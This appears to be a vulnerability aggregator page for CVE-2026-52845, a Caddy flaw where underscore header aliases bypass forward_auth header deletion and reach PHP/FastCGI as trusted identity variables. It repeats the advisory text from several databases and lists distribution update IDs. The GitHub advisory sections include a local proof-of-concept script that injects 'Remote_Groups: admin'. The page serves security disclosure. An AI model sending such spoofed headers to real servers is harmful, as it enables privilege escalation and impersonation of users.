CVE-2026-52845
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
- Record
CVE-2026-52845- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-290, CWE-444, CWE-444
- Updated
- 2026-11-02
EUVDEUVD-2026-38558
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
- Record
EUVD-2026-38558- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-f59h-q822-g45g
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Summary
forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.
This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:
Remote-Groups -> HTTP_REMOTE_GROUPS
Remote_Groups -> HTTP_REMOTE_GROUPS
Remote-User -> HTTP_REMOTE_USER
Remote_User -> HTTP_REMOTE_USER
Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.
Details
forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222
That delete is exact-field deletion through http.Header.Del():
modules/caddyhttp/headers/headers.go:255modules/caddyhttp/headers/headers.go:281
So deleting Remote-Groups does not delete Remote_Groups.
Later, FastCGI exports all request headers into CGI variables:
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510
The normalizer replaces hyphens with underscores:
strings.NewReplacer(" ", "_", "-", "_")
So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.
This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.
PoC
Run from the Caddy repository root with bash:
set -euo pipefail
tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"
cat > "$tmpdir/servers.go" <<'GO'
package main
import (
"fmt"
"log"
"net"
"net/http"
"net/http/fcgi"
)
func main() {
go func() {
mux := http.NewServeMux()
mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Remote-User", "alice")
w.WriteHeader(http.StatusNoContent)
})
log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
}()
ln, err := net.Listen("tcp", "127.0.0.1:19010")
if err != nil {
log.Fatal(err)
}
log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
r.Header.Get("Remote-User"),
r.Header.Get("Remote-Groups"))
})))
}
GO
cat > "$tmpdir/Caddyfile" <<EOF
{
admin off
auto_https off
debug
}
:9082 {
log
root * $tmpdir/www
forward_auth 127.0.0.1:19011 {
uri /auth
copy_headers Remote-User Remote-Groups
}
php_fastcgi 127.0.0.1:19010
}
EOF
cleanup() {
kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT
go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
(echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"
Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:
Baseline:
> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK
HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=
With attacker header:
> GET…
- Record
GHSA-f59h-q822-g45g- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-290, CWE-444
- Updated
- 2026-11-02
NVD
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
- Record
CVE-2026-52845- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-290, CWE-444
- Updated
- 2026-11-02
OSV
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
- Record
CVE-2026-52845- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-290, CWE-444
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-52845
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
- Record
DEBIAN-CVE-2026-52845- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-f59h-q822-g45g
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Summary
forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.
This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:
Remote-Groups -> HTTP_REMOTE_GROUPS
Remote_Groups -> HTTP_REMOTE_GROUPS
Remote-User -> HTTP_REMOTE_USER
Remote_User -> HTTP_REMOTE_USER
Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.
Details
forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222
That delete is exact-field deletion through http.Header.Del():
modules/caddyhttp/headers/headers.go:255modules/caddyhttp/headers/headers.go:281
So deleting Remote-Groups does not delete Remote_Groups.
Later, FastCGI exports all request headers into CGI variables:
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510
The normalizer replaces hyphens with underscores:
strings.NewReplacer(" ", "_", "-", "_")
So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.
This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.
PoC
Run from the Caddy repository root with bash:
set -euo pipefail
tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"
cat > "$tmpdir/servers.go" <<'GO'
package main
import (
"fmt"
"log"
"net"
"net/http"
"net/http/fcgi"
)
func main() {
go func() {
mux := http.NewServeMux()
mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Remote-User", "alice")
w.WriteHeader(http.StatusNoContent)
})
log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
}()
ln, err := net.Listen("tcp", "127.0.0.1:19010")
if err != nil {
log.Fatal(err)
}
log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
r.Header.Get("Remote-User"),
r.Header.Get("Remote-Groups"))
})))
}
GO
cat > "$tmpdir/Caddyfile" <<EOF
{
admin off
auto_https off
debug
}
:9082 {
log
root * $tmpdir/www
forward_auth 127.0.0.1:19011 {
uri /auth
copy_headers Remote-User Remote-Groups
}
php_fastcgi 127.0.0.1:19010
}
EOF
cleanup() {
kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT
go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
(echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"
Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:
Baseline:
> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK
HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=
With attacker header:
> GET…
- Record
GHSA-f59h-q822-g45g- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-290, CWE-444
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-52845
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _. This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
- Record
UBUNTU-CVE-2026-52845- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVGO-2026-5346 No score
Caddy: FastCGI header normalization bypass in forward_auth copy_headers in github.com/caddyserver/caddy
Caddy: FastCGI header normalization bypass in forward_auth copy_headers in github.com/caddyserver/caddy
- Record
GO-2026-5346- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21551-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
- GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
- GO-2026-5048 GHSA-mx64-mj3q-7prj
- GO-2026-5051
- GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
- GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
- GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
- GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
- GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
- GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
- GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
- GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
- GO-2026-5309 GHSA-c3wq-j5vh-68rc
- GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
- GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
- GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
- GO-2026-5408 GHSA-gx7w-56w6-g48x
- GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
- GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
- GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
- GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
- GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
- GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
- GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
- GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
- GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
- GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
- GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
- GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
- GO-2026-5569 GHSA-q76j-gcg9-vxc6
- GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
- GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
- GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
- GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
- GO-2026-5606 GHSA-r46f-3rpw-hxrv
- GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
- GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
- GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
- GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
- GO-2026-5693 GHSA-w5pp-99ch-qj29
- GO-2026-5730 GHSA-wwhq-w58m-w29c
- GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
- GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
- GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
- GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
- GO-2026-5774 GHSA-3fxj-6jh8-hvhx
- GO-2026-5775 GHSA-9g5q-2w5x-hmxf
- GO-2026-5777 GHSA-rjr7-jggh-pgcp
- GO-2026-5781
- GO-2026-5841 GHSA-259r-337f-4rfw
- GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
- GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
- GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
- GO-2026-5884 GHSA-vh4v-2xq2-g5cg
- GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
- GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
- GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
- GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
- GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
- GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
- GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
- GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
- GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
- GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
- GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
- GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
- GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
- GO-2026-6061 GHSA-hrxh-6v49-42gf
- GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
- GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
- GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
- GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
- GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
- GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
- GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
- GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
- GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
- GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
- GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
- GO-2026-6073 CVE-2026-58435…
- Record
openSUSE-SU-2026:21551-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23216-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
- GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
- GO-2026-5048 GHSA-mx64-mj3q-7prj
- GO-2026-5051
- GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
- GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
- GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
- GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
- GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
- GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
- GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
- GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
- GO-2026-5309 GHSA-c3wq-j5vh-68rc
- GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
- GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
- GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
- GO-2026-5408 GHSA-gx7w-56w6-g48x
- GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
- GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
- GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
- GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
- GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
- GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
- GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
- GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
- GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
- GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
- GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
- GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
- GO-2026-5569 GHSA-q76j-gcg9-vxc6
- GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
- GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
- GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
- GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
- GO-2026-5606 GHSA-r46f-3rpw-hxrv
- GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
- GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
- GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
- GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
- GO-2026-5693 GHSA-w5pp-99ch-qj29
- GO-2026-5730 GHSA-wwhq-w58m-w29c
- GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
- GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
- GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
- GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
- GO-2026-5774 GHSA-3fxj-6jh8-hvhx
- GO-2026-5775 GHSA-9g5q-2w5x-hmxf
- GO-2026-5777 GHSA-rjr7-jggh-pgcp
- GO-2026-5781
- GO-2026-5841 GHSA-259r-337f-4rfw
- GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
- GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
- GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
- GO-2026-5884 GHSA-vh4v-2xq2-g5cg
- GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
- GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
- GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
- GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
- GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
- GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
- GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
- GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
- GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
- GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
- GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
- GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
- GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
- GO-2026-6061 GHSA-hrxh-6v49-42gf
- GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
- GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
- GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
- GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
- GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
- GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
- GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
- GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
- GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
- GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
- GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
- GO-2026-6073 CVE-2026-58435…
- Record
SUSE-SU-2026:23216-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23227-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
- GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
- GO-2026-5048 GHSA-mx64-mj3q-7prj
- GO-2026-5051
- GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
- GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
- GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
- GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
- GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
- GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
- GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
- GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
- GO-2026-5309 GHSA-c3wq-j5vh-68rc
- GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
- GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
- GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
- GO-2026-5408 GHSA-gx7w-56w6-g48x
- GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
- GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
- GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
- GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
- GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
- GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
- GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
- GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
- GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
- GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
- GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
- GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
- GO-2026-5569 GHSA-q76j-gcg9-vxc6
- GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
- GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
- GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
- GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
- GO-2026-5606 GHSA-r46f-3rpw-hxrv
- GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
- GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
- GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
- GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
- GO-2026-5693 GHSA-w5pp-99ch-qj29
- GO-2026-5730 GHSA-wwhq-w58m-w29c
- GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
- GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
- GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
- GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
- GO-2026-5774 GHSA-3fxj-6jh8-hvhx
- GO-2026-5775 GHSA-9g5q-2w5x-hmxf
- GO-2026-5777 GHSA-rjr7-jggh-pgcp
- GO-2026-5781
- GO-2026-5841 GHSA-259r-337f-4rfw
- GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
- GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
- GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
- GO-2026-5884 GHSA-vh4v-2xq2-g5cg
- GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
